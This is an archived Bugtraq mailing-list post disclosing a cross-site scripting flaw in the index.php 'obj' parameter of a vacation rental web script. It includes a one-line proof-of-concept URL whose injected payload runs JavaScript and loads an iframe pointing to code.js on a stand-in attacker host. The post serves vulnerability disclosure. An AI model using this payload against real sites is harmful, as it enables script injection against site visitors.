Bugtraq mailing list archives
Vacation Retal Script v1.0
From: luny () youfucktard com
Date: 25 May 2006 09:25:43 -0000
Vacation Retal Script v1.0 Homepage: http://www.vacationrentalscript.com/ Description: Vacation Rentals is the best solution for your vacation rental online business. ItÂ’s easy to install, easy to use, provides lots of features and option details. Just check the online demo and convince yourself about how easy is to manage your business online. Effected files: index.php XSS Vulnerabilities: XSS attack possible from URL injection, proof of concept is below: http://www.example.com/index.php?obj=<INPUT%20TYPE="IMAGE"%20SRC=javascript:alert('XSS');><iframe%20src=http://www.evilsite.com/code.js> -------------------------------------------------- Luny - http://www.youfucktard.com
Current thread:
- Vacation Retal Script v1.0 luny (May 26)